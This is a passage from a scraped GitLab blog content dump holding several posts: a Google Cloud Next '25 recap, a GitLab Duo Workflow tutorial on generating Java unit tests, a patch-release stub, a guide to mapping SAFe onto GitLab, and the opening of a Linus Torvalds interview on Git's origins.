alt=\"GitLab team at Google Cloud Next '25\" align=\"left\" width=\"400px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nWe're thrilled to announce that GitLab has once again been named a [Google Cloud Technology Partner of the Year award winner](https://about.gitlab.com/press/releases/2025-04-08-gitlab-wins-a-google-cloud-technology-partner-of-the-year-award-for-devops/), marking our fifth consecutive time receiving this prestigious honor. This remarkable achievement reaffirms our position as Google Cloud's primary DevOps partner, consistently delivering exceptional value year after year. The continued recognition highlights how our collaboration with Google Cloud creates tangible business outcomes for customers, enabling organizations across industries to build, secure, and deploy applications with efficiency and confidence.\n\n## Google Distributed Cloud: DevSecOps for highly regulated environments\n\nAnother significant milestone announced at Next '25 was GitLab's \"Google Cloud Ready - Distributed Cloud\" certification. This designation enables organizations to implement GitLab in air-gapped environments, addressing critical security and compliance requirements.\n\nAs an end-to-end DevSecOps solution available on Google Distributed Cloud, GitLab enables sovereign development and operations for workloads critical to national security and regulatory compliance. This integration is particularly valuable for government agencies and financial institutions that require the highest levels of data sovereignty while maintaining modern development practices.\n\n## GitLab perks for Google Startups\n\nGitLab is a Featured Partner of the new Startup Perks program from Google Cloud. This partnership ties up with our own [GitLab for Startups](https://about.gitlab.com/solutions/startups/google-cloud/) and is meant to jumpstart new tech ventures with key DevSecOps capabilities that can help with fast growth and scaling.\n\nAs one of the [Featured Perks partners](https://cloud.google.com/startup/perks), eligible startups can get free or discounted access to one year of [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) for 20 licenses. For seed or early stage startups, this benefit can help ensure collaboration, efficiency, and security without sacrificing speed and agility.\n\n## Thoughts from the dais\n\nGitLab experts shared valuable insights across multiple speaking sessions at Next '25, delivering practical knowledge on AI-powered DevSecOps, platform engineering, and cloud application delivery:\n\n* __[AI DevOps panel](https://cloud.withgoogle.com/next/25/session-library?session=BRK2-163&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Mike Flouton, GitLab Vice President of Product Management, joined industry leaders to discuss how AI code assist tools boost productivity while enhancing application performance.\n\n* __[Software Logistics - The Missing Link in Modern Platform Engineering](https://cloud.withgoogle.com/next/25/session-library?session=CT2-16&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ GitLab Field CTO Lee Faus explored how effective software logistics create the foundation for successful platform engineering initiatives.\n\n* __[Revolutionizing Cloud Application Delivery with Intelligent Agents](https://cloud.withgoogle.com/next/25/session-library?session=CT2-17&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Faus also demonstrated how intelligent agents are transforming cloud application delivery pipelines.\n\n## Engaging attendees across Next '25\n\nIn addition to our speaking sessions, GitLab maintained a strong presence throughout Next '25. At our booth #2170 on the expo floor, our team engaged with hundreds of attendees through demonstrations and lightning talks featuring both GitLab experts and partners like Arctiq and SADA.\n\nThe Google Cloud Makerspace's Dev Tools Pantry became a hub of innovation and collaboration. John Coghlan, Director of Developer Advocacy, observed: \"It was great to connect with many GitLab and Google Cloud customers in the Dev Tools Pantry in the Makerspace. We loved seeing the creative solutions that people came up with around developer experience and simplified deployments using GitLab and Google Cloud as their ingredients.\"\n\nThese hands-on experiences showcased how GitLab's DevSecOps solutions integrate well with Google Cloud services, with our AI-powered capabilities demonstrations drawing particular interest from attendees looking to enhance developer productivity and application security.\n\n## GitLab and Google Cloud: Transforming the future together\n\nThe energy witnessed at Next '25 exemplifies why GitLab and Google Cloud make such powerful partners. Together, we help organizations to transform how they build, secure, and deploy applications through:\n\n* AI-assisted development capabilities and collaborative workflows that can help accelerate innovation in Google Cloud environments\n\n* Shift-left security approach that integrates with Google Cloud's security-first architecture to identify vulnerabilities early in the development lifecycle\n\n* Flexible deployment options and comprehensive observability that work harmoniously with Google Cloud infrastructure to help streamline operations\n\nAs demonstrated at Next '25, the GitLab and Google Cloud partnership delivers tangible advantages for development teams facing real-world challenges – whether accelerating AI adoption, strengthening security in regulated environments, or streamlining complex deployment pipelines. The technical integration points and customer success stories shared throughout the event underscore that this collaboration continues to produce practical solutions that matter.\n\n> #### Discover how GitLab and Google Cloud can transform your application development experience at [GitLab's Google Cloud partnership page](https://about.gitlab.com/partners/technology-partners/google-cloud-platform/).",[923,479,277,282,736],{"slug":1841,"featured":6,"template":678},"gitlab-at-next-25-transforming-app-modernization","content:en-us:blog:gitlab-at-next-25-transforming-app-modernization.yml","Gitlab At Next 25 Transforming App Modernization","en-us/blog/gitlab-at-next-25-transforming-app-modernization.yml","en-us/blog/gitlab-at-next-25-transforming-app-modernization",{"_path":1847,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1848,"content":1854,"config":1859,"_id":1861,"_type":16,"title":1862,"_source":17,"_file":1863,"_stem":1864,"_extension":20},"/en-us/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance",{"title":1849,"description":1850,"ogTitle":1849,"ogDescription":1850,"noIndex":6,"ogImage":1851,"ogUrl":1852,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1852,"schema":1853},"Use GitLab Duo Workflow to improve application quality assurance","Learn step-by-step how to add unit tests to a Java application using agentic AI (includes a video tutorial).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097617/Blog/Hero%20Images/Blog/Hero%20Images/Workflow%201800x945_2gQoQIbY9NvjLFpXtsxtXy_1750097616649.png","https://about.gitlab.com/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use GitLab Duo Workflow to improve application quality assurance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-04-10\",\n      }",{"title":1849,"description":1850,"authors":1855,"heroImage":1851,"date":1856,"body":1857,"category":791,"tags":1858},[937],"2025-04-10","Assuring the quality of your applications via test-driven design, good code coverage, and issue detection is critically important to your customers and your reputation, but it can also be a time-consuming endeavor. [GitLab Duo Workflow](https://about.gitlab.com/gitlab-duo/workflow/), agentic AI built on top of the most comprehensive DevSecOps platform, can help you quickly complete development tasks such as adding unit tests to a Java application. This tutorial demonstrates how by using this sample [Java project](https://gitlab.com/gitlab-da/playground/csaavedra/gdw/prodmgr-gdw).\n\n> GitLab Duo Workflow is currently in private beta. Join the [waitlist](https://about.gitlab.com/gitlab-duo/workflow/) to see what’s possible with AI agents that understand your entire SDLC.\n\n## Opening your project in VS Code\n\n1. Open the Java project in Visual Studio Code (after cloning it to your local machine). Ensure that you’re in a feature branch (not the main or default branch) before you start. If you’re already working on a merge request, it will have its own associated feature branch.\n\n2. (This step is optional.) Navigate to the file that defines the Java class for which you’d like to have GitLab Duo Workflow create unit tests. Inspect it so that you can later confirm that the generated unit tests do cover its class members. This is what you would see:\n\n![File that defines the Java class for which you’d like to have GitLab Duo Workflow create unit tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097627482.png)\n\n**Note:** We are assuming that you already enabled the GitLab Duo Workflow extension in your VS Code. If not, please refer to the [setup documentation](https://docs.gitlab.com/user/duo_workflow/#use-workflow-in-vs-code).\n\n3. Launch GitLab Duo Workflow by opening the VS Code command palette [Ctrl + Shift + P] and entering \"GitLab Duo Workflow\" in it and selecting **GitLab: Show Duo Workflow**. A tab will appear that looks like this:\n\n![Launching GitLab Duo Workflow with VS Code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097627483.png)\n\n4. The next step is to add tests for the default constructor, the verification of the object creation, and the initial state of the properties of the Product class. To accomplish this, enter the following prompt in the text area in GitLab Duo Workflow:\n\n```unset\nCreate unit tests for class defined in the Product.java file and store the unit tests in its own file titled ProductTest.java\n```\n\n![Prompt area in GitLab Duo Workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097627484.png)\n\n5. Click the **Start** button in the GitLab Duo Workflow window. Two new windows will appear: one in the center of the screen and one to the right. The one on the right displays the analysis that GitLab Duo Workflow is performing to come up with a plan that will achieve the goal as specified in your prompt. The plan is displayed in the center window. After the analysis and the plan are finished, you should see an output like this:\n\n![Analysis and plan generated by GitLab Duo Workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097627486.png)\n\n6. Review the analysis and plan and, if you are satisfied with them, click **Approve plan** at the bottom of the window.\n\n7. GitLab Duo Workflow will start executing the approved plan and making modifications to your project accordingly.\n\n8. Once the execution of the plan is finished, you will see a new directory `src/test/java/csaa/jspring/ProductManager` in the project with a new file in it named `ProductTest.java`, which contains all the unit tests for the `Product.java` class.\n\n![New directory in the project iwth a new file name `ProductTest.java`](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097627488.png)\n\n9. Navigate to the newly created file `ProductTest.java` and you will see that it has some import statements underlined in red indicating some import errors:\n\n![`ProductTest.java` include imports statement and error indicators in red](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097627489.png)\n\nLet’s have GitLab Duo Workflow fix these for us.\n\n**Note:** We could have also asked GitLab Duo Workflow in our first prompt to update the `pom.xml` file accordingly. But since we didn’t, let’s fix these errors in a new workflow.\n\n## Launching a GitLab Duo Workflow to fix errors in generated code\n\n10. Start a new workflow by clicking on the **New workflow** button at the bottom of the analysis window on the right side of your screen.\n\n![New workflow button](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097628/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097627491.png)\n\n11. In the prompt text area, enter the following:\n\n```unset\nThe file ProductTest.java has an error “The import org.junit cannot be resolved”. Please fix it\n```\n\n12. After you approve the proposed plan, GitLab Duo Workflow starts its analysis by reading the current `pom.xml` file. It then edits it and removes the outdated JUnit dependency, and follows that with the addition of the correct dependency and version for JUnit. Lastly, it reads the `ProductTest.java` file to clear all the dependency errors.\n\n![GitLab Duo Workflow carrying out analysis by reading pom.xml](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097627/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097627492.png)\n\n## Watch the tutorial\n\nThrough the execution of this plan, GitLab Duo Workflow is effectively making updates to the project to achieve what was requested in the prompt, saving time and effort, and increasing productivity so that developers can spend more time innovating and creating value for their organization.\n\nIf you’d like to see what you read above in action, watch the following video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Tuj7TgqY81Q?si=RReuL1pUsLafvAzs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Sign up for the [GitLab Duo Workflow private beta waitlist](https://about.gitlab.com/gitlab-duo/workflow/) to see what’s possible with AI agents that understand your entire SDLC.\n\n## Read more about GitLab Duo Workflow and agentic AI\n\n- [GitLab Duo Workflow: Enterprise visibility and control for agentic AI](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [GitLab Duo Workflow documentation](https://docs.gitlab.com/user/duo_workflow/)\n- [GitLab Duo](https://about.gitlab.com/gitlab-duo/)\n- [Agentic AI: Unlocking developer potential at scale (The Source)](https://about.gitlab.com/the-source/ai/agentic-ai-unlocking-developer-potential-at-scale/)\n",[790,479,696,695,754],{"slug":1860,"featured":6,"template":678},"use-gitlab-duo-workflow-to-improve-application-quality-assurance","content:en-us:blog:use-gitlab-duo-workflow-to-improve-application-quality-assurance.yml","Use Gitlab Duo Workflow To Improve Application Quality Assurance","en-us/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance.yml","en-us/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance",{"_path":1866,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1867,"content":1872,"config":1877,"_id":1880,"_type":16,"title":1881,"_source":17,"_file":1882,"_stem":1883,"_extension":20},"/en-us/blog/gitlab-patch-release-17-10-4-17-9-6-17-8-7",{"title":1868,"description":708,"ogTitle":1868,"ogDescription":708,"config":1869,"ogImage":712,"ogUrl":1870,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1870,"schema":1871},"GitLab Patch Release: 17.10.4, 17.9.6, 17.8.7",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-10-4-17-9-6-17-8-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.10.4, 17.9.6, 17.8.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2025-04-09\",\n      }",{"title":1868,"description":708,"authors":1873,"heroImage":712,"date":1874,"body":1875,"category":695,"tags":1876},[1162],"2025-04-09","Learn more about [this patch release](https://about.gitlab.com/releases/2025/04/09/patch-release-gitlab-17-10-4-released/) for GitLab Community Edition (CE) and Enterprise Edition (EE).",[1464,716],{"slug":1878,"featured":6,"template":678,"externalUrl":1879},"gitlab-patch-release-17-10-4-17-9-6-17-8-7","https://about.gitlab.com/releases/2025/04/09/patch-release-gitlab-17-10-4-released/","content:en-us:blog:gitlab-patch-release-17-10-4-17-9-6-17-8-7.yml","Gitlab Patch Release 17 10 4 17 9 6 17 8 7","en-us/blog/gitlab-patch-release-17-10-4-17-9-6-17-8-7.yml","en-us/blog/gitlab-patch-release-17-10-4-17-9-6-17-8-7",{"_path":1885,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1886,"content":1892,"config":1900,"_id":1902,"_type":16,"title":1903,"_source":17,"_file":1904,"_stem":1905,"_extension":20},"/en-us/blog/safe-without-silos-in-gitlab",{"title":1887,"description":1888,"ogTitle":1887,"ogDescription":1888,"noIndex":6,"ogImage":1889,"ogUrl":1890,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1890,"schema":1891},"SAFe without silos in GitLab","Learn how to map the Scaled Agile Framework to the native capabilities of the DevSecOps platform and the advantages that come from doing so.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","https://about.gitlab.com/blog/safe-without-silos-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SAFe without silos in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2025-04-08\",\n      }",{"title":1887,"description":1888,"authors":1893,"heroImage":1889,"date":1895,"body":1896,"category":1897,"tags":1898},[1894],"Amanda Rueda","2025-04-08","Let's talk about what happens when your organization adopts the Scaled Agile Framework (SAFe) to scale to enterprise levels. You've got multiple teams working on complex products, and you need a way to coordinate all that work. But here's a common headache: Your planning happens in one tool, while your actual development work lives somewhere else entirely.\n\nThis divide creates real problems day-to-day. Developers jump between systems constantly. Product managers struggle to get an accurate picture of progress. And everyone wastes time manually copying information from one place to another. It's precisely the kind of disjointed experience that SAFe was designed to eliminate.\n\nWhile your development teams might already be using GitLab for source code management, CI/CD, and security, you may wonder whether GitLab can also support your planning needs within the SAFe framework. The good news is that GitLab's Agile project management capabilities offer strong support for SAFe, in this article, you'll learn how GitLab maps to SAFe concepts and ceremonies, all within the same DevSecOps platform your software developers already know and love.\n\n## What is SAFe?\n\nSAFe, or the Scaled Agile Framework, is a way to bring Agile principles to large organizations without losing speed, alignment, or customer focus. It takes the iterative and flexible teamwork model of small teams and applies its principles across big organizations that have multiple teams, roadmaps, and stakeholders. This brings the organization into alignment, all planning and executing in the same direction. For product managers, SAFe helps connect strategy to execution so you’re not just shipping fast, you’re shipping the right things, backed by clear priorities and cross-team alignment.\n\nSAFe reduces silos, encourages collaboration, and helps teams rally around customer outcomes, not just tasks. When integrated in GitLab, the magic really happens: visibility, traceability, and delivery all live in one place.\n\n## SAFe terminology in GitLab\n\nFirst, let's establish how SAFe concepts map to GitLab:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-level Epic |\n| Capability | Sub-epic (Level 1) |\n| Feature | Sub-epic (Level 2) |\n| User Story | Issue |\n| Task | Task |\n| Team | Custom Field / Scoped Label |\n| Sprint | Iteration |\n| Program Increment (PI) | Milestone |\n| Value Stream | Top-level Group |\n| Agile Release Train (ART) | Top-level Group |\n\n\u003Cbr>\u003C/br>\n\nWith this mapping as your guide, you can set up GitLab to mirror your SAFe implementation. The group structure lets you organize around your value streams and ARTs, while the work item hierarchy (with up to seven levels of nested epics!) gives you all the depth you need for complex product portfolios. Whether you're working at the portfolio level (with top-level groups), program level (with subgroups), or team level (with projects), GitLab's organizational structure aligns perfectly with SAFe's hierarchy.\n\n## Supporting SAFe ceremonies in GitLab\n\nNow for the fun part - how do you actually run your SAFe ceremonies in GitLab? Let's walk through each one.\n\n### PI planning\n\nTo facilitate the cross-team alignment and dependency management that makes PI planning successful, GitLab offers several capabilities:\n\n* Use the [Roadmap](https://docs.gitlab.com/user/group/roadmap/) view to visualize features across teams and time periods\n* Assign features to the PI [milestone](https://docs.gitlab.com/user/project/milestones/)\n* Document and visualize cross-team [dependencies](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues) as they're identified\n\nGitLab gives you flexibility for PI planning through both the Epic boards (which can be configured to show team assignments) and the Roadmap view (which shows features over time like a Gantt chart). You can switch between these views during your planning session depending on whether you're focusing on the timeline or team organization.\n\n![Roadmap view and epic board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap view with Gantt chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAs a product manager, running effective refinement sessions means having clear visibility into your feature backlog. You can run your refinement session right inside GitLab. No more updating one tool during the meeting and then having to update another tool afterward.\n\nGitLab powers refinement sessions with:\n\n* [Epic boards](https://docs.gitlab.com/user/group/epics/epic_boards/) that group features based on status\n* The ability to view story points directly in the [overview](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)\n* Comprehensive [drawer views](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer) that let you interact with work items without losing context\n* The ability to create and link [child issues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic) directly from epics\n\n![SAFe - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint planning\n\nWhen it's time to figure out what your team can tackle in the next sprint, GitLab gives you:\n\n* [Issue boards](https://docs.gitlab.com/user/project/issue_board/) that provide a comprehensive view of your backlog\n* [Total weight](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights) of user stories displayed directly on boards\n* The ability to easily move issues between iterations\n* A collapsible view that simplifies moving stories between sprints\n\nThis means you can keep everything in one place and spend your planning meetings actually planning instead of jumping between tools.\n\n![Sprint planning with GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 Check out [this tutorial on using GitLab to facilitate Scrum](https://docs.gitlab.com/tutorials/scrum_events/) for a detailed glimpse into the power of GitLab in Agile planning and sprint tracking.*\n\n### Daily stand-ups\n\nYour team can gather around the board during daily stand-ups and actually see what everyone's working on, what's stuck, and what's ready for review – all in one view. For your dev team's daily stand-ups, GitLab lets you:\n\n* Create [iteration-scoped](https://docs.gitlab.com/user/project/issue_board/#iteration-lists) boards that show the current sprint's work\n* Display story points/weights directly on cards\n* Use the [drawer view](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer) to access details without leaving the context\n* Highlight tasks at risk through [health status](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Daily stand-up board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint review\n\nWant to know how your team is doing over time? GitLab provides comprehensive metrics with:\n\n* [Burndown and burnup charts](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts) for iterations\n* Velocity tracking\n* [Lead and cycle time](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics) metrics\n* Dashboards that can be scoped to teams\n\nThese metrics help you understand if your team is getting faster, where they're getting stuck, and what you might want to talk about in your next retrospective.\n\n![Burndown and burnup charts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 reasons a unified platform provides an advantage\n\nI know there are plenty of planning tools that can handle SAFe ceremonies. But there are game-changing reasons why I genuinely believe GitLab is different:\n\n1. **No more context switching** - Your planning, coding, testing, and security all happen in one place.\n2. **Everything's connected** - You can trace work from the big epic down to the code and deployment.\n3. **Everyone's on the same page** - Developers, product folks, and security teams all work together in the same tool.\n4. **Total visibility** - Stakeholders have one place to check for updates.\n5. **The full picture** - You see planning and development metrics together, so you know what's really going on.\n\nIf your dev teams already love GitLab, why make them jump to another tool for planning or create some complex, cobbled-together integrations? Bringing your SAFe planning into GitLab creates a much smoother experience for everyone.\n\n## Implementation principles\n\nI've worked with teams transitioning from traditional SAFe tools to GitLab, and here's what I've learned: Focus on **what each ceremony is trying to accomplish**, not on recreating exact replicas of your old tools.\n\nThe teams that get the most out of GitLab are the ones who embrace its native capabilities instead of fighting against them. Yes, it takes some initial work to figure out how to map your SAFe concepts and set up your workflows. But once you do, you'll find your processes actually get simpler rather than more complex.\n\nThe key is defining conventions that everyone follows. Which labels mean what? How will you track teams? What goes in an epic versus an issue? With a little upfront investment in these decisions, you'll end up with an intuitive system that eliminates all that cross-tool coordination overhead.\n\n## Getting started\n\nReady to give this a shot? Here's how to start implementing SAFe in GitLab:\n\n1. **Set up your structure** - Create groups and subgroups that [match your organization](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).\n2. **Define your work breakdown** - Decide how you'll use [epics](https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [issues](https://docs.gitlab.com/user/project/issues/managing_issues/), and [tasks](https://docs.gitlab.com/user/tasks/).\n3. **Create your iterations** - Set up your [sprint schedule](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence).\n4. **Add your milestones** - [Milestones](https://docs.gitlab.com/user/project/milestones/#create-a-milestone) will represent your Program Increments in GitLab.\n5. **Build your boards** - Create different views for different ceremonies.\n6. **Agree on conventions** - Document how you'll use labels and custom fields.\n\nTaking time to think through these decisions upfront will save you many headaches later. And remember, you don't have to perfect it on day one - you can always adjust as you learn.\n\n## Bringing it all together\n\nGitLab gives you a solid foundation for running SAFe, especially if your dev teams are already GitLab fans. When you bring planning and development into the same tool, you eliminate those painful handoffs, make collaboration way easier, and get everything moving faster.\n\nThe beauty of GitLab's planning tools is that they're flexible enough to adapt to your specific flavor of SAFe. You're not locked into rigid workflows - you can evolve your approach as your teams mature and your needs change.\n\n> Ready to see how much better life is without those planning silos? [Start your free trial today](https://about.gitlab.com/free-trial/) and experience firsthand how GitLab can transform your SAFe implementation.\n\n*💡 If you liked this topic check out this related post - [GitLab for Agile Software Development](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)*\n","agile-planning",[1899,479,754,695,696],"agile",{"slug":1901,"featured":92,"template":678},"safe-without-silos-in-gitlab","content:en-us:blog:safe-without-silos-in-gitlab.yml","Safe Without Silos In Gitlab","en-us/blog/safe-without-silos-in-gitlab.yml","en-us/blog/safe-without-silos-in-gitlab",{"_path":1907,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1908,"content":1914,"config":1919,"_id":1921,"_type":16,"title":1922,"_source":17,"_file":1923,"_stem":1924,"_extension":20},"/en-us/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds",{"title":1909,"description":1910,"ogTitle":1909,"ogDescription":1910,"noIndex":6,"ogImage":1911,"ogUrl":1912,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1912,"schema":1913},"Celebrating Git's 20th anniversary with creator Linus Torvalds","Discover the origins of the open-source version control system, why he handed over the reins a few months in, and what he thinks about adding new programming languages to Git.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662510/Blog/Hero%20Images/git-20-years-opt1.png","https://about.gitlab.com/blog/celebrating-gits-20th-anniversary-with-creator-linus-torvalds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating Git's 20th anniversary with creator Linus Torvalds\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2025-04-07\",\n      }",{"title":1909,"description":1910,"authors":1915,"heroImage":1911,"date":1916,"body":1917,"category":813,"tags":1918},[1817],"2025-04-07","The Git version control system was first released on April 7, 2005, by the father of the Linux kernel, Linus Torvalds. To mark the 20th anniversary of this important project that is nowadays used by almost every single developer, I interviewed Linus about the history of Git, why he handed over maintainership of Git, and what he considers to be its most important milestones.\n\n**In 2005, you were already the maintainer of the thriving Linux kernel. Why did you decide to start a new version control system?**\n\nSo, I got into it from really despising version control.\n\nI had used the traditional version control systems (CVS/RCS/SCCS) both as an end user (i.e., tracking open source projects like [GCC](https://gcc.gnu.org/)) and as a developer (we used CVS at Transmeta for everything) and absolutely hated the experience with a passion.\n\n\u003Cimg src=\"https://about.gitlab.com/images/blogimages/linustorvalds.png\" align=\"left\" width=\"200px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nAnd yes, back then most projects that used CVS had probably moved to [SVN](https://subversion.apache.org/), but honestly, I always felt that SVN was just \"lipstick on a pig.\" It was just CVS in another form, with some UI improvements, but none of the fundamentals fixed, and a few new problems added.\n\nThe problems with CVS and its ilk are too many to even list, and, happily, they have largely become irrelevant and younger developers have probably never even had to deal with any of it. I absolutely refused to deal with it for the kernel, even though a few subsystems (notably the networking side) were actually using CVS to track their code back in the '90s.\n\nAnyway, back then I lived in the Bay Area, and Larry McVoy, who I knew from other projects (mainly [lmbench](https://www.usenix.org/legacy/publications/library/proceedings/sd96/full_papers/mcvoy.pdf)), had started BitMover, which had a new version control model called BitKeeper, or BK, for short.\n\nBK wasn't open source, but Larry liked open source projects and really felt that the lack of version control was holding the kernel back. He wasn't wrong, but the traditional source code managers (SCMs) really didn't work for me at all. Larry spent some time showing me and David Miller (networking maintainer and existing CVS user) what BitKeeper could do.\n\nBK wasn't perfect, and it was based on Source Code Control System (SCCS) like so many other traditional SCMs were, and thus had the same broken \"history per file\" model that everybody else had, and that causes huge and fundamental issues with file renaming and deletion.\n\nBut BK also wasn't just that \"lipstick\" thing. It may have used SCCS at a low level, but on a higher level it fixed some really fundamental things, and did proper distributed development, and had a real global – not per-file – history that made merging code from different trees actually work.\n\nWith CVS, creating branches and merging them was something you had to plan and discuss with people, and were major events. With BK, every repository was a branch. We take that for granted now, and Git obviously took it much further by having many branches *per* repository, but even the much more limited BK model was really a big deal at the time.\n\nAgain, BK wasn't perfect. As mentioned, it did do per-file history, which really is a big fundamental problem that makes renaming and file merging simply not work reliably, and inevitably causes chaos and pain (for CVS people, think Attic, shudder). And it had some scalability issues, too, but those took a while to become more than a bit problematic.\n\nBut the biggest problem with BK was the licensing, and while over the years (we used BK from 2002 to 2005) a lot of kernel maintainers did end up switching over to it, it was always a bit of a friction point. And that friction came to a head in late 2004, and the use of BK for the kernel basically became untenable a few months later.\n\nI was in the situation that for three years I'd finally used source control that worked, and it really had solved a lot of problems. There was no way I was going back to the days before source control, but in the years we'd been using BK, nothing better had really come out of the open source community.\n\nSure, people knew that CVS and SVN didn't work well, and there were projects that tried alternate approaches, but some of those approaches were even worse (basically amounting to \"fancy patch tracking\"), or had some good ideas but in the process making up some entirely new horrible design mistakes ([Monotone](https://www.monotone.ca/)).\n\nSo, I looked around for a while, and decided that I didn't have any options – I had to write my own.\n\nNow, technically, it actually did take only a few days to make the first version of Git, and hey, it's all there in the Git commit history. It's easy enough to see how it goes from pretty much zero to being usable enough that I started applying patches from others a week later (and being actively used for the kernel a few days after that).\n\nBut that ignores the fact that I had been *thinking* about the problem for a while by then. Writing code is easy. Getting a good design is what matters. So there was a fair amount of background to those few days that is pretty important, and that part doesn't show up in the history.\n\nAnd hey, that first version was very, very rough, and didn't do a lot that was to come later. But you can definitely already see much of the core design in those first few days.\n\n**Can you give us a short recount of the first days and weeks of how the Git project was started?**\n\nI had basically decided that I will stop kernel development until I had an alternative that worked for me. The main goals were to be distributed and high performance, and be something you could absolutely rely on to catch any corruption.\n\nBut I really do want to stress that I wasn't interested in SCMs, per se. I was interested in the end result, not in the process. So Git was never like the kernel for me: I do Linux because I think kernels are interesting - I did Git because I had to.\n\nWhich then directly segues into your next question.\n\n**You handed over the maintainership of Git to Junio Hamano after a couple of months, and Junio is still the maintainer. Why did you hand over maintainership and what made you pick 